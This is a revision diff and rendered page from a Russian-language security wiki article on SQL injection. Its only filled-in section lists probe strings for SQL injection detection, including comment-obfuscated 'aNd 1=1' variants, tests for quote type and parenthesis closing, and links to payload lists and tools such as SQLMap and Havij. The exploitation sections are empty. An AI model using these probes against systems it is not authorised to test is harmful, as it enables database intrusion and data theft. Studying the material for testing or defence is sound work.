Sqlinj — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м |
||
Строка 10: | Строка 10: | ||
===SELECT=== | ===SELECT=== | ||
+ | |||
====UNION-Based==== | ====UNION-Based==== | ||
+ | |||
+ | =====Определение типа кавычки===== | ||
+ | 1. Найти точку ввода данных | ||
+ | |||
+ | 2. Найти параметр, который возвращает какое-либо из значений. | ||
+ | |||
+ | 3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение) | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр} aNd 1=1 | ||
+ | {параметр} aNd 1=1 | ||
+ | {параметр}/**/aNd/**/1=1 | ||
+ | {параметр} -- {\n} aNd 1=1 | ||
+ | |||
+ | {параметр}' aNd '1'='1 | ||
+ | {параметр}' aNd '1'='1 | ||
+ | {параметр}'/**/aNd/**/'1'='1 | ||
+ | {параметр}' -- {\n} aNd '1'='1 | ||
+ | |||
+ | {параметр}" aNd "1"="1 | ||
+ | {параметр}" aNd "1"="1 | ||
+ | {параметр}"/**/aNd/**/"1"="1 | ||
+ | {параметр}" -- {\n} aNd "1"="1 | ||
+ | </syntaxhighlight> | ||
+ | (Если сработал первый пример, то {кавычка}==={пустое место} :) | ||
+ | |||
+ | После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3): | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка} -- 1 | ||
+ | {параметр}{кавычка}) -- 1 | ||
+ | {параметр}{кавычка})) -- 1 | ||
+ | {параметр}{кавычка})...) -- 1 | ||
+ | |||
+ | {параметр}{кавычка} # 1 | ||
+ | {параметр}{кавычка}) # 1 | ||
+ | {параметр}{кавычка})) # 1 | ||
+ | {параметр}{кавычка})...) # 1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | После чего надо подобрать количество колонок. | ||
+ | |||
+ | |||
====Error-Based==== | ====Error-Based==== | ||
Строка 19: | Строка 63: | ||
====Time-Based==== | ====Time-Based==== | ||
+ | |||
+ | ====auth==== | ||
===INSERT=== | ===INSERT=== |
Версия 07:45, 19 декабря 2018
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
{параметр} aNd 1=1
{параметр} aNd 1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1
{параметр}' aNd '1'='1
{параметр}' aNd '1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1
{параметр}" aNd "1"="1
{параметр}" aNd "1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1
{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
После чего надо подобрать количество колонок.
Error-Based
Boolean-Based
Time-Based
auth
INSERT
DELETE
UPDATE
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite3
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html